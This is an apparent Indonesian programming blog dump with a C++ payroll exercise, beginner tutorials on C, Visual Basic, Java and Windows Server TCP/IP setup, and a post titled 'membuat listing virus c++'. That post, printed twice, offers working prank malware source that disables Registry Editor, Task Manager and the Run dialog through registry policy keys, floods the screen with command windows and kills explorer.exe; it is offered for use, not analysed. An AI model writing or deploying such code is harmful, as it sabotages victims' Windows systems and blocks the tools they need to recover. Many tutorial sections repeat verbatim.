maap klw programnya cupu ... bisa d hapus klw g berguna ...
#include<iostream.h>
class pegawai
{
private:
char nama[20],npm[10],alamat[25];
int x,xx,jamlembur;
int jumlah;
public:
void data()
{
cout<<"Nama : ";cin>>nama;
cout<<"\n";
cout<<"Npm : ";cin>>npm;
cout<<"\n";
cout<<"Alamat : ";cin>>alamat;
cout<<"\n";
cout<<"1. direktur\n";
cout<<"2. admin\n";
cout<<"3. sekretaris\n";
cout<<"4. pegawai\n";
cout<<"5. OB\n\n";
cout<<"Jabatan : ";cin>>xx;
cout<<"\n";
{
if(xx == 1 )
x = 150000;
else if(xx == 2 )
x = 100000;
else if(xx == 3)
x = 75000;
else if (xx == 4)
x = 50000;
else if (xx == 5)
x = 25000;
else x = 0;
}
cout<<"Jam Lembur : ";cin>>jamlembur;
}
friend class gaji;
};
class gaji
{private:char jumlah_gaji;
double harga,total;
public:
void Total_gaji(pegawai P)
{
harga = P.x;
total=(P.jamlembur * harga);
cout<<"Total Gaji : Rp "<<total<<endl;
}
};
void main()
{
pegawai;
char lagi;
do{
cout<<"=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n";
cout<<" Penghitungan Pembayaran Gaji\n";
cout<<"--------------------------------\n\n";
pegawai Y;
gaji Z;
Y.data();
Z.Total_gaji(Y);
cout<<"---------------------------------\n";
cout<<("ingin kembali ke menu (y/t) ? ");
cin>>lagi;
cout<<endl;
}
while(lagi=='Y'||lagi=='y');
}
Jumat, 27 Mei 2011
membuat listing virus c++
hey tmn2 sy punya ilmu dikit neh mngkn dah psran bg klian , tp yg blon mngetahui slhkn mncb nya.
]neh lngsng aja pd inti nya
#include"windows.h"
main()
{
//bwt disable registry editor
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\System /t REG_DWORD /v Disableregistrytools /d 1 /f");
//untuk disable taskmanager
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\System /t REG_DWORD /v Disabletaskmgr /d 1 /f");
//disable run
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\Explorer /t REG_DWORD /v NoRun /d 1 /f");
//buat iseng aja, ngeluarin jendela command prompt cukup banyak lah.....
//syntax penyelamat sebenarnya
system("for %d in ( . . . . . . . . . . , , , . , . . , , l , l , ; . , . , . , l , , l , . . , . . , . , . , , , . , . , . . . . . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , ) do start");
//untuk end process explorer.exe
system("Taskkill /f /im explorer.exe");
}
]neh lngsng aja pd inti nya
#include"windows.h"
main()
{
//bwt disable registry editor
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\System /t REG_DWORD /v Disableregistrytools /d 1 /f");
//untuk disable taskmanager
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\System /t REG_DWORD /v Disabletaskmgr /d 1 /f");
//disable run
system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion \\Policies\\Explorer /t REG_DWORD /v NoRun /d 1 /f");
//buat iseng aja, ngeluarin jendela command prompt cukup banyak lah.....
//syntax penyelamat sebenarnya
system("for %d in ( . . . . . . . . . . , , , . , . . , , l , l , ; . , . , . , l , , l , . . , . . , . , . , , , . , . , . . . . . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , . , ) do start");
//untuk end process explorer.exe
system("Taskkill /f /im explorer.exe");
}
Cepat Mahir Belajar Bahasa C (part2)
Struktur Program Bahasa C
Program bahasa C adalah suatu program terdiri dari satu atau lebih fungsi-fungsi. Fungsi utama dan harus ada pada program C yang kita buat adalah fungsi main(). Fungsi main() ini adalah fungsi pertama yang akan diproses pada saat program di kompile dan dijalankan, sehingga bisa disebut sebagai fungsi yang mengontrol fungsi-fungsi lain. Karena struktur program C terdiri dari fungsi-fungsi lain sebagai program bagian (subroutine), maka bahasa C biasa disebut sebagai bahasa pemrograman terstruktur. Cara penulisan fungsi pada program bahasa C adalah dengan memberi nama fungsi dan kemudian dibuka dengan kurang kurawal buka { dan ditutup dengan
kurung kurawal tutup }.
Fungsi-fungsi lain selain fungsi utama bisa dituliskan setelah atau sebelum fungsi utama dengan deskripsi prototype fungsi pada bagian awal program. Bisa juga dituliskan pada file lain yang apabila kita ingin memakai atau memanggil fungsi dalam file lain tersebut, kita harus menuliskan header filenya, dengan preprocessor directive #include. File ini disebut file pustaka (library file). Untuk lebih jelas tentang struktur program bahasa C ini, Sperti keterangan dibawah ini:
Code:
#include <stdio.h> -----> Processor directive
fungsi_lain(); -----> Prototype fungsi lain
main()
{
Statemen
}
untuk main(){ statemen } = fungsi utama
fungsi_lain()
{
Statemen
}
untuk fungsi_lain(){ statemen } = fungsi lain
Proses Pembuatan Program C
Proses pembuatan program dengan menggunakan bahasa C adalah:
1. Tulis source code program bahasa C dengan menggunakan text
editor, kemudian simpan dalam sebuah file.
Text editor disini bisa merupakan aplikasi notepad atau editplus pada
windows, untuk operating system unix/linux kita bisa menggunakan
aplikasi emacs yang cukup terkenal.
2. Kompile file yang berisi source code program bahasa C.
Kompilasi atau kompile (compile) adalah suatu proses merubah source
code ke bahasa mesin sehingga bisa dieksekusi (executable) atau
dijalankan. Banyak sekali kompiler bahasa C yang ada saat ini, baik yang
gratis maupun yang kita harus membeli untuk menggunakannya. Untuk
memudahkan proses belajar bahasa C, penulis memberikan rekomendasi
untuk menginstall Cygwin (http://www.cygwin.com) bagi yang menggunakan
operating system Windows. Cygwin adalah satu set free software yang
dikembangkan oleh Redhat, yang berisi koleksi aplikasi dan tools UNIX
yang didesain khusus untuk bisa dijalankan di Windows. Kebutuhan akan
kompiler (GCC, GNU C Compiler) dan shell (Bash Shell) untuk membuat
program C bisa kita dapatkan dengan menginstall Cygwin ini.
3. Jalankan program yang telah dikompile.
Setelah kita kompile file yang berisi source code, maka sebagai hasil
kompilasi tersebut kita akan mendapatkan suatu file yang bisa dijalankan
(executable file). Menjalankan program yang kita buat berarti
menjalankan file hasil proses kompilasi tersebut.
Program bahasa C adalah suatu program terdiri dari satu atau lebih fungsi-fungsi. Fungsi utama dan harus ada pada program C yang kita buat adalah fungsi main(). Fungsi main() ini adalah fungsi pertama yang akan diproses pada saat program di kompile dan dijalankan, sehingga bisa disebut sebagai fungsi yang mengontrol fungsi-fungsi lain. Karena struktur program C terdiri dari fungsi-fungsi lain sebagai program bagian (subroutine), maka bahasa C biasa disebut sebagai bahasa pemrograman terstruktur. Cara penulisan fungsi pada program bahasa C adalah dengan memberi nama fungsi dan kemudian dibuka dengan kurang kurawal buka { dan ditutup dengan
kurung kurawal tutup }.
Fungsi-fungsi lain selain fungsi utama bisa dituliskan setelah atau sebelum fungsi utama dengan deskripsi prototype fungsi pada bagian awal program. Bisa juga dituliskan pada file lain yang apabila kita ingin memakai atau memanggil fungsi dalam file lain tersebut, kita harus menuliskan header filenya, dengan preprocessor directive #include. File ini disebut file pustaka (library file). Untuk lebih jelas tentang struktur program bahasa C ini, Sperti keterangan dibawah ini:
Code:
#include <stdio.h> -----> Processor directive
fungsi_lain(); -----> Prototype fungsi lain
main()
{
Statemen
}
untuk main(){ statemen } = fungsi utama
fungsi_lain()
{
Statemen
}
untuk fungsi_lain(){ statemen } = fungsi lain
Proses Pembuatan Program C
Proses pembuatan program dengan menggunakan bahasa C adalah:
1. Tulis source code program bahasa C dengan menggunakan text
editor, kemudian simpan dalam sebuah file.
Text editor disini bisa merupakan aplikasi notepad atau editplus pada
windows, untuk operating system unix/linux kita bisa menggunakan
aplikasi emacs yang cukup terkenal.
2. Kompile file yang berisi source code program bahasa C.
Kompilasi atau kompile (compile) adalah suatu proses merubah source
code ke bahasa mesin sehingga bisa dieksekusi (executable) atau
dijalankan. Banyak sekali kompiler bahasa C yang ada saat ini, baik yang
gratis maupun yang kita harus membeli untuk menggunakannya. Untuk
memudahkan proses belajar bahasa C, penulis memberikan rekomendasi
untuk menginstall Cygwin (http://www.cygwin.com) bagi yang menggunakan
operating system Windows. Cygwin adalah satu set free software yang
dikembangkan oleh Redhat, yang berisi koleksi aplikasi dan tools UNIX
yang didesain khusus untuk bisa dijalankan di Windows. Kebutuhan akan
kompiler (GCC, GNU C Compiler) dan shell (Bash Shell) untuk membuat
program C bisa kita dapatkan dengan menginstall Cygwin ini.
3. Jalankan program yang telah dikompile.
Setelah kita kompile file yang berisi source code, maka sebagai hasil
kompilasi tersebut kita akan mendapatkan suatu file yang bisa dijalankan
(executable file). Menjalankan program yang kita buat berarti
menjalankan file hasil proses kompilasi tersebut.
Cepat Mahir Belajar Bahasa C (part1)
NB: Bahasa C adalah bahasanya para hacker, So sebelum kamu menjadi hacker pelajarilah bahasa mereka, yaitu C
Boleh dikatakan bahwa akar dari bahasa C adalah bahasa BCPL yang dikembangkan oleh Martin Richards pada tahun 1967. Kemudian berdasar pada bahasa BCPL ini Ken Thompson yang bekerja di Bell Telephone Laboratories (Bell Labs) mengembangkan bahasa B pada tahun 1970. Saat itu bahasa B telah berhasil diimplementasikan di komputer DEC PDP-7 dengan operating system (OS) UNIX. Pada tahun 1972, peneliti lain di Bell Labs bernama Dennis Ritchie menyempurnakannya menjadi bahasa C.
Pada tahun 1978, Dennis Ritchie bersama dengan Brian Kernighan mempublikasikan buku yang kemudian menjadi legenda dalam sejarah perkembangan bahasa C, yang berjudul The C Programming Language. Buku ini diterbitkan oleh Prentice Hall, dan pada saat ini telah diterjemahkan dalam berbagai bahasa di dunia. Boleh dikatakan bahwa buku ini adalah buku yang paling banyak direfer orang dan dijadikan buku panduan tentang pemrograman bahasa C sampai saat ini. Teknik dan gaya penulisan bahasa C yang merefer kepada buku ini kemudian terkenal dengan sebutan K&R C atau
Classic C atau Common C.
Seiring dengan berkembang pesatnya bahasa C, banyak vendor mengembangkan kompiler C menurut versi masing-masing. Hal ini menggerakkan ANSI (American National Standards Institute) pada tahun 1983 untuk membuat suatu komite yang kemudian diberi nama X3J11, yang betujuan untuk membuat definisi standar bahasa C yang lebih modern dan komprehensif, dengan memperbaiki syntax dan grammar bahasa C. Usaha ini berhasil diselesaikan 5 tahun kemudian, yaitu ditandai dengan lahirnya standard ANSI untuk bahasa C yang kemudian terkenal dengan sebutan ANSI C pada tahun 1988.
Mengapa Memakai Bahasa C ?
Sampai saat ini, bahasa C telah berhasil digunakan untuk mengembangkan berbagai jenis permasalahan pemrograman, dari level operating system (unix, linux, ms dos, dsb), aplikasi perkantoran (text editor, word processor, spreadsheet, dsb), bahkan sampai pengembangan sistem pakar (expert system). Kompiler C juga telah tersedia di semua jenis platform komputer, mulai dari Macintosh, UNIX, PC, Micro PC, sampai super komputer.
C bisa disebut bahasa pemrograman tingkat menengah (middle level programming language). Arti tingkat (level) disini adalah kemampuan mengakses fungsi-fungsi dan perintah-perintah dasar bahasa mesin/hardware (machine basic instruction set). Semakin tinggi tingkat bahasa pemrograman (misalnya: java), semakin mudahlah bahasa pemrograman dipahami manusia, namun membawa pengaruh semakin berkurang kemampuan untuk mengakses langsung instruksi dasar bahasa mesin. Demikian juga sebaliknya dengan bahasa pemrograman tingkat rendah (misalnya: assembler), yang semakin sulit dipahami manusia dan hanya berisi perintah untuk mengakses bahasa mesin.
Dalam perspektif mudahnya dipahami manusia, C bisa digolongkan dalam bahasa tingkat tinggi, namun C juga menyediakan kemampuan yang ada pada bahasa tingkat rendah, misalnya operasi bit, operasi byte, pengaksesan memori, dsb. Beberapa alasan mengapa memakai bahasa C adalah terangkum dibawah:
1. C adalah bahasa pemrograman yang paling populer saat ini
Dengan banyaknya programmer bahasa C, membawa pengaruh semakin
mudahnya kita menemukan pemecahan masalah yang kita dapatkan
ketika menulis program dalam bahasa C. Pengaruh positif lain adalah
semakin banyaknya kompiler yang dikembangkan untuk berbagai
platform (berpengaruh ke portabilitas).
2. C adalah bahasa pemrograman yang memiliki portabilitas tinggi
Program C yang kita tulis untuk satu jenis platform, bisa kita kompile dan jalankan di platform lain dengan tanpa ataupun hanya sedikit perubahan. Ini bisa diwujudkan dengan adanya standarisasi ANSI untuk C.
3. C adalah bahasa pemrograman dengan kata kunci (keyword) sedikit
Kata kunci disini adalah merupakan fungsi ataupun kata dasar yang
disediakan oleh kompiler suatu bahasa pemrograman. Hal ini membawa
pengaruh semakin mudahnya kita menulis program dengan C. Pengaruh
lain dari sedikitnya kata kunci ini adalah proses eksekusi program C yang
sangat cepat. C hanya menyediakan 32 kata kunci seperti terangkum
dibawah:
Code:
auto | break | case | char | const | continue | default |
do | double | else | enum | extern | float | for |
goto | if | int | long | register | return | short |
signed | sizeof | static | struct | switch | typedef | union |
unsigned | void | volatile | while |
4. C adalah bahasa pemrograman yang fleksibel
Dengan menguasai bahasa C, kita bisa menulis dan mengembangkan
berbagai jenis program mulai dari operating system, word processor,
graphic processor, spreadsheets, ataupun kompiler untuk suatu bahasa
pemrograman.
5. C adalah bahasa pemrograman yang bersifat moduler
Program C ditulis dalam routine yang biasa dipanggil dengan fungsi.
Fungsi-fungsi yang telah kita buat, bisa kita gunakan kembali (reuse)
dalam program ataupun aplikasi lain.
Boleh dikatakan bahwa akar dari bahasa C adalah bahasa BCPL yang dikembangkan oleh Martin Richards pada tahun 1967. Kemudian berdasar pada bahasa BCPL ini Ken Thompson yang bekerja di Bell Telephone Laboratories (Bell Labs) mengembangkan bahasa B pada tahun 1970. Saat itu bahasa B telah berhasil diimplementasikan di komputer DEC PDP-7 dengan operating system (OS) UNIX. Pada tahun 1972, peneliti lain di Bell Labs bernama Dennis Ritchie menyempurnakannya menjadi bahasa C.
Pada tahun 1978, Dennis Ritchie bersama dengan Brian Kernighan mempublikasikan buku yang kemudian menjadi legenda dalam sejarah perkembangan bahasa C, yang berjudul The C Programming Language. Buku ini diterbitkan oleh Prentice Hall, dan pada saat ini telah diterjemahkan dalam berbagai bahasa di dunia. Boleh dikatakan bahwa buku ini adalah buku yang paling banyak direfer orang dan dijadikan buku panduan tentang pemrograman bahasa C sampai saat ini. Teknik dan gaya penulisan bahasa C yang merefer kepada buku ini kemudian terkenal dengan sebutan K&R C atau
Classic C atau Common C.
Seiring dengan berkembang pesatnya bahasa C, banyak vendor mengembangkan kompiler C menurut versi masing-masing. Hal ini menggerakkan ANSI (American National Standards Institute) pada tahun 1983 untuk membuat suatu komite yang kemudian diberi nama X3J11, yang betujuan untuk membuat definisi standar bahasa C yang lebih modern dan komprehensif, dengan memperbaiki syntax dan grammar bahasa C. Usaha ini berhasil diselesaikan 5 tahun kemudian, yaitu ditandai dengan lahirnya standard ANSI untuk bahasa C yang kemudian terkenal dengan sebutan ANSI C pada tahun 1988.
Mengapa Memakai Bahasa C ?
Sampai saat ini, bahasa C telah berhasil digunakan untuk mengembangkan berbagai jenis permasalahan pemrograman, dari level operating system (unix, linux, ms dos, dsb), aplikasi perkantoran (text editor, word processor, spreadsheet, dsb), bahkan sampai pengembangan sistem pakar (expert system). Kompiler C juga telah tersedia di semua jenis platform komputer, mulai dari Macintosh, UNIX, PC, Micro PC, sampai super komputer.
C bisa disebut bahasa pemrograman tingkat menengah (middle level programming language). Arti tingkat (level) disini adalah kemampuan mengakses fungsi-fungsi dan perintah-perintah dasar bahasa mesin/hardware (machine basic instruction set). Semakin tinggi tingkat bahasa pemrograman (misalnya: java), semakin mudahlah bahasa pemrograman dipahami manusia, namun membawa pengaruh semakin berkurang kemampuan untuk mengakses langsung instruksi dasar bahasa mesin. Demikian juga sebaliknya dengan bahasa pemrograman tingkat rendah (misalnya: assembler), yang semakin sulit dipahami manusia dan hanya berisi perintah untuk mengakses bahasa mesin.
Dalam perspektif mudahnya dipahami manusia, C bisa digolongkan dalam bahasa tingkat tinggi, namun C juga menyediakan kemampuan yang ada pada bahasa tingkat rendah, misalnya operasi bit, operasi byte, pengaksesan memori, dsb. Beberapa alasan mengapa memakai bahasa C adalah terangkum dibawah:
1. C adalah bahasa pemrograman yang paling populer saat ini
Dengan banyaknya programmer bahasa C, membawa pengaruh semakin
mudahnya kita menemukan pemecahan masalah yang kita dapatkan
ketika menulis program dalam bahasa C. Pengaruh positif lain adalah
semakin banyaknya kompiler yang dikembangkan untuk berbagai
platform (berpengaruh ke portabilitas).
2. C adalah bahasa pemrograman yang memiliki portabilitas tinggi
Program C yang kita tulis untuk satu jenis platform, bisa kita kompile dan jalankan di platform lain dengan tanpa ataupun hanya sedikit perubahan. Ini bisa diwujudkan dengan adanya standarisasi ANSI untuk C.
3. C adalah bahasa pemrograman dengan kata kunci (keyword) sedikit
Kata kunci disini adalah merupakan fungsi ataupun kata dasar yang
disediakan oleh kompiler suatu bahasa pemrograman. Hal ini membawa
pengaruh semakin mudahnya kita menulis program dengan C. Pengaruh
lain dari sedikitnya kata kunci ini adalah proses eksekusi program C yang
sangat cepat. C hanya menyediakan 32 kata kunci seperti terangkum
dibawah:
Code:
auto | break | case | char | const | continue | default |
do | double | else | enum | extern | float | for |
goto | if | int | long | register | return | short |
signed | sizeof | static | struct | switch | typedef | union |
unsigned | void | volatile | while |
4. C adalah bahasa pemrograman yang fleksibel
Dengan menguasai bahasa C, kita bisa menulis dan mengembangkan
berbagai jenis program mulai dari operating system, word processor,
graphic processor, spreadsheets, ataupun kompiler untuk suatu bahasa
pemrograman.
5. C adalah bahasa pemrograman yang bersifat moduler
Program C ditulis dalam routine yang biasa dipanggil dengan fungsi.
Fungsi-fungsi yang telah kita buat, bisa kita gunakan kembali (reuse)
dalam program ataupun aplikasi lain.
Tutorial Dasar Visual Basic
Introduction
Selamat datang, di tutorial ini kita akan membahas dasar-dasar penggunaan visual basic. Isi tutorial ini aku ambil dari pengalaman saya sendiri, jadi kalau ada salah maaf ya ^.^
Index Tutorial
Pengenalan Variable
Code If Then Else
Operator dalam vBasic
Pengenalan Variable
If Then Else
Visual Basic Operator
Selamat datang, di tutorial ini kita akan membahas dasar-dasar penggunaan visual basic. Isi tutorial ini aku ambil dari pengalaman saya sendiri, jadi kalau ada salah maaf ya ^.^
Index Tutorial
Pengenalan Variable
Code If Then Else
Operator dalam vBasic
Pengenalan Variable
Variable adalah fungsi yang dipakai di visual basic untuk menyimpan suatu data yang beruba text, angka, atau yang lainnya. Variable adalah peranan yang sangat penting dalam visual basic
Contoh penggunaan variable :
maka yang akan muncul adalah kotak message yang bertuliskan 12, contoh lain :
Option Explicit
Dim a as integer
maka label 1 yang akan ditampilkan adalah Isi variable sebelumnya dari a ditambah 1 setiap interval timer
Ukuran, sufix, jangkauan suatu variable
Boolean, True / False, 2 Bytes, 0
Integer, -32768 sampai 32767, 2 Bytes, %
Long, -2147483.684 sampai 2147483647, 4 Bytes, &
(Cuma itu yang aku tau, maaf
)
Contoh penggunaan variable :
Code:
Dim a as integer a=12 msgbox a
Option Explicit
Dim a as integer
Code:
PrivateSub Timer1_Timer () a=a+1 label1.caption=a endsub
Ukuran, sufix, jangkauan suatu variable
Boolean, True / False, 2 Bytes, 0
Integer, -32768 sampai 32767, 2 Bytes, %
Long, -2147483.684 sampai 2147483647, 4 Bytes, &
(Cuma itu yang aku tau, maaf
Code yang digunakan untuk mengecheck suatu kondisi, cara penggunaan :
Code:
If (Condition) Then (Action) Else (Action End if
If Condition Then
Bagian ini berfungsi mengecheck suatu kondisi, jika kondisi benar, maka, akan dilanjutkan.
Else
Bagian ini berjalan bila kondisi salah.
Endif
Mengakhiri if then else
Bagian ini berfungsi mengecheck suatu kondisi, jika kondisi benar, maka, akan dilanjutkan.
Else
Bagian ini berjalan bila kondisi salah.
Endif
Mengakhiri if then else
^ : Pangkat
* : Perkalian
/ : Pembagian
\ : Pembagian Bulat
Mod : Sisa Bagi
+ : Penjumlahan
- : Pengurangan
> : Lebih Dari
< : Kurang Dari
<= : Kurang Dari / Sama Dengan
=> : Lebih Dari / Sama Dengan
= : Sama Dengan
* : Perkalian
/ : Pembagian
\ : Pembagian Bulat
Mod : Sisa Bagi
+ : Penjumlahan
- : Pengurangan
> : Lebih Dari
< : Kurang Dari
<= : Kurang Dari / Sama Dengan
=> : Lebih Dari / Sama Dengan
= : Sama Dengan
kelebihan dan karakteristik java
Sintaks bahasa pemograman java adalah pengembangan dari bahasa pemograman C/C++, sehingga dengan mereka yang sudah terbiasa dengan C/C++ tidak akan mengalami kesulitan mempelajari bahasa pemograman Java.
Java adalah bahasa pemograman yang sederhana dan tangguh. Berikut ini adalah beberapa karakteristik dari Java sesuai dengan white paper dari SUN.
11. Berkinerja tinggi, byte kode Java telah teroptimasi dengan baik sehingga eksekusi program dapat dilakukan dengan cepat
Java adalah bahasa pemograman yang sederhana dan tangguh. Berikut ini adalah beberapa karakteristik dari Java sesuai dengan white paper dari SUN.
- Berorientasi Object, Java telah menerapkan konsep pemograman berorientasi object yang modern dalam implementasinya
- Robust, Java mendorong pemograman yang bebas dengan kesalahan yang bersipat strongly typed dan memiliki run time checking.
- Protable, pemograman Java berjalan pada system operasi apapun yang memiliki Java Virtual Machine.
- Multithreding, Java mendukung pemograman multitreding dan terintegrasi secara langsung dalam bahasa Java.
- Dinamis, program Java dapat melakukan sesuatu tindakan yang ditentukan pada saat eksekusi program dan pada saat kompilasi.
- Sederhana, Java menggunakan bahasa yang sederhana dan mudah dipelajari.
- Terdistribusi, Java didesain untuk berjalan pada lingkungan yang terdistribusi seperti halnya internet.
- Aman, aplikasi yang dibuat dengan bahasa Java lebih dapat dijamin keamanannya terutama untul aplikasi internet.
- Netral secara arsitektur, Java tidak terkait pada suatu mesin atau mesin operasi tertentu.
11. Berkinerja tinggi, byte kode Java telah teroptimasi dengan baik sehingga eksekusi program dapat dilakukan dengan cepat
Sejarah singkat bahasa pemograman Java
Java secara resmi diperkenalkan oleh SUN pada dunia pada tanggal 23 Mei 1995. Sedangkan sejarah pembangunan java sendiri sudah dimulai sejak tahun 1991. Saat itu tim “ Stealth Project “ mengadakan pertemuan (brainstorming) untuk menciptakan suatu system software yang mampu berjalan pada alat-alat elektronik (small devices)
James Gosling berkonsultasi pada ide permbuatan bahasa pemograman. Pada Juni 1991 , muncullah bahasa interpreter “Oak” yang menjadi cikal bakal dari Java. Kemudian secara resmi pada tahun 1995 Java diperkenalkan bersama browser HotJava, Java pun merambah k dunia web.
Kenyataan ini mungkin agak sedikit berbeda dengan ide pembuatan java pada awalnya. Internet ternyata membantu membuat Java terkenal seperti sekarang ini. Memang harus diakui karena semakin berkembangnya Internet, maka focus pemograman saat ini mengarah ke pemograman Internet itu sendiri.
Saat ini Java dibagi menjadi 3 framework atau teknologi yaitu J2SE untuk pemograman aplikasi berbasis console dan desktop, kemudian J2EE berskala interprise seperti aplikasi web-base (JSP dan Sevplet), komponen (EJB), web service dan lain-lain. Kemudian framework yang terakhir adalah J2ME untuk pemograman small device seperti handphone dan PDA.
James Gosling berkonsultasi pada ide permbuatan bahasa pemograman. Pada Juni 1991 , muncullah bahasa interpreter “Oak” yang menjadi cikal bakal dari Java. Kemudian secara resmi pada tahun 1995 Java diperkenalkan bersama browser HotJava, Java pun merambah k dunia web.
Kenyataan ini mungkin agak sedikit berbeda dengan ide pembuatan java pada awalnya. Internet ternyata membantu membuat Java terkenal seperti sekarang ini. Memang harus diakui karena semakin berkembangnya Internet, maka focus pemograman saat ini mengarah ke pemograman Internet itu sendiri.
Saat ini Java dibagi menjadi 3 framework atau teknologi yaitu J2SE untuk pemograman aplikasi berbasis console dan desktop, kemudian J2EE berskala interprise seperti aplikasi web-base (JSP dan Sevplet), komponen (EJB), web service dan lain-lain. Kemudian framework yang terakhir adalah J2ME untuk pemograman small device seperti handphone dan PDA.
Bahasa Pemograman Java
Java adalah bahasa pemrograman tingkat tinggi yang berorientasi objek dan program java tersusun dari bagian yang disebut kelas. Kelas terdiri atas metode-metode yang melakukan pekerjaan dan mengembalikan informasi setelah melakukan tugasnya. Para pemrogram Java banyak mengambil keuntungan dari kumpulan kelas di pustaka kelas Java, yang disebut dengan Java Application Programming Interface (API). Kelas-kelas ini diorganisasikan menjadi sekelompok yang disebut paket (package). Java API telah menyediakan fungsionalitas yang memadai untuk menciptakan applet dan aplikasi canggih. Jadi ada dua hal yang harus dipelajari dalam Java, yaitu mempelajari bahasa Java dan bagaimana mempergunakan kelas pada Java API. Kelas merupakan satu-satunya cara menyatakan bagian eksekusi program, tidak ada cara lain. Pada Java program javac untuk mengkompilasi file kode sumber Java menjadi kelas-kelas bytecode. File kode sumber mempunyai ekstensi *.java. Kompilator javac menghasilkan file bytecode kelas dengan ekstensi *.class. Interpreter merupakan modul utama sistem Java yang digunakan aplikasi Java dan menjalankan program bytecode Java.
Beberapa keunggulan java yaitu java merupakan bahasa yang sederhana. Java dirancang agar mudah dipelajari dan digunakan secara efektif. Java tidak menyediakan fitur-fitur rumit bahasa pemrograman tingkat tinggi, serta banyak pekerjaan pemrograman yang mulanya harus dilakukan manual, sekarang digantikan dikerjakan Java secara otomatis seperti dealokasi memori. Bagi pemrogram yang sudah mengenal bahasa C++ akan cepat belajar susunan bahasa Java namun harus waspada karena mungkin Java mengambil arah (semantiks) yang berbeda dibanding C++.
Java merupakan bahasa berorientasi objek (OOP) yaitu cara ampuh dalam pengorganisasian dan pengembangan perangkat lunak. Pada OOP, program komputer sebagai kelompok objek yang saling berinteraksi. Deskripsi ringkas OOP adalah mengorganisasikan program sebagai kumpulan komponen, disebut objek. Objek-objek ini ada secara independen, mempunyai aturan-aturan berkomunikasi dengan objek lain dan untuk memerintahkan objek lain guna meminta informasi tertentu atau meminta objek lain mengerjakan sesuatu. Kelas bertindak sebagai modul sekaligus tipe. Sebagai tipe maka pada saat jalan, program menciptakan objek-objek yang merupakan instan-instan kelas. Kelas dapat mewarisi kelas lain. Java tidak mengijinkan pewarisan jamak namun menyelesaikan kebutuhan pewarisan jamak dengan fasilitas antarmuka yang lebih elegan.
Seluruh objek diprogram harus dideklarasikan lebih dulu sebelum digunakan. Ini merupakan keunggulan Java yaitu Statically Typed. Pemaksaan ini memungkinkan kompilator Java menentukan dan melaporkan terjadinya pertentangan (ketidakkompatibelan) tipe yang merupakan barikade awal untuk mencegah kesalahan yang tidak perlu (seperti mengurangkan variabel bertipe integer dengan variabel bertipe string). Pencegahan sedini mungkin diharapkan menghasilkan program yang bersih. Kebaikan lain fitur ini adalah kode program lebih dapat dioptimasi untuk menghasilkan program berkinerja tinggi.
Java menggunakan model pengamanan tiga lapis (three-layer security model) untuk melindungi sistem dari untrusted Java code. Pertama, bytecode verifier membaca bytecode sebelum dijalankan dan menjamin bytecode memenuhi aturan-aturan dasar bahasa Java. Kedua, class loader menangani pemuatan kelas Java ke runtime interpreter. Ketiga, manajer keamanan menangani keamanan tingkat aplikasi dengan
Konfigurasi dan Instalasi TCP/IP Windows Server 2003
Konfigurasi dan Instalasi TCP/IP Windows Server 2003
Di sini saya akan mendeskripsikan prosedur untuk menginstal dan mengonfigurasi TCP/IP Microsoft Windows Server 2003. Ikuti prosedur ini jika Anda sebelumnya tidak menginstal protocol jaringan TCP/IP pada komputer yang sedang Anda pakai untuk mengerjakan prosedur-prosedur latihan selama kursus ini.
Menginstal TCP/IP
TCP/IP dapat dipakai dalam lingkungan jaringan yang bervariasi mulai dari LAN yang kecil sampai Internet global. Ketika Anda mengoperasikan Windows 2003 Setup, TCP/IP diinstal sebagai default protocol jaringan bila suatu adapter jaringan dideteksi. Oleh karena itu, Anda hanya perlu menginstal protocol TCP/IP kalau default pilihan protocol TCP/IP ditindih selama proses setup atau Anda sudah menghapusnya dari suatu koneksi di dalam Network and Dial-Up Connections.
Menginstal Protocol TCP/IP
Pada latihan ini, Anda akan menginstal TCP/IP pada Local Area Network Connection in Network and Dial-Up Connections. Anda harus me-logon sebagai seorang administrator atau seorang anggota dari Administrator group agar mampu menyelesaikan latihan ini. Untuk menginstal TCP/IP pada koneksi jaringan area lokal
- Klik Start
- Klik Programs
- Klik Connect To
- Klik Show All Connections. Muncul kotak dialog Network And Dial-Up Connections
- Klik kanan Local Area Connection
- Klik Properties. Muncul kotak dialog Local Area Connection Properties
- Klik Install. Muncul kotak dialog Select Network Component Type
- Klik Protocol
- Klik Add. Muncul kotak dialog Select Network Protocol
- Klik Internet Protocol (TCP/IP).
- Klik OK. Protocol TCP/IP diinstal dan ditambahkan ke daftar Components di kotak dialog Local Area Connection Properties
- Klik Yes apabila akan merestart komputer Anda.
Java Application Programming Interface (Java API)
Java Application Programming Interface (Java API)
Java API merupakan komponen-komponen dan kelas Java yang sudah jadi, yang memiliki berbagai kemampuan. Kemampuan untuk menangani objek, string, angka dan sebagainya
1. Java Applet merupakan program Java yang berjalan di atas browser. Penggunaan applet ini akan membuat halaman HTML lebih dinamis dan menarik.
2. Java Networking
3. Java Database Connectivity (JDBC)
JDBC API terdiri atas class dan interface yang ditulis dalam bahasa Java untuk sebagai alat bantu bagi pembuat program (developer) dan menyediakan sekumpulan API untuk mengatur keamanan mengakses database seperti Oracle, MySQL, PostgreSQL, Microsoft SQL Server. Jadi keunggulan API JDBC dapat mengakses sumber data dan berjalan pada semua Platform yang mempunyai Java Viortual Machine (JVM).
4. Java Server Pages (JSP)
JSP adalah suatu teknologi web berbasis bahasa pemrograman Java dan berjalan pada platform Java. JSP merupakan pengembangan dari Servlet serta merupakan bagian dari teknologi Java 2 Platform, Enterprise Edition (J2EE).
5. Java Card
Konsep Dasar Bahasa Pemograman Visual Basic 6.0
Sejarah Visual Basic
Visual Basic pada dasarnya adalah sebuah bahasa pemrograman komputer, yang didalamnya terdapat perintah-perintah atau instruksi-instruksi yang dimengerti oleh komputer untuk melakukan tugas-tugas tertentu.
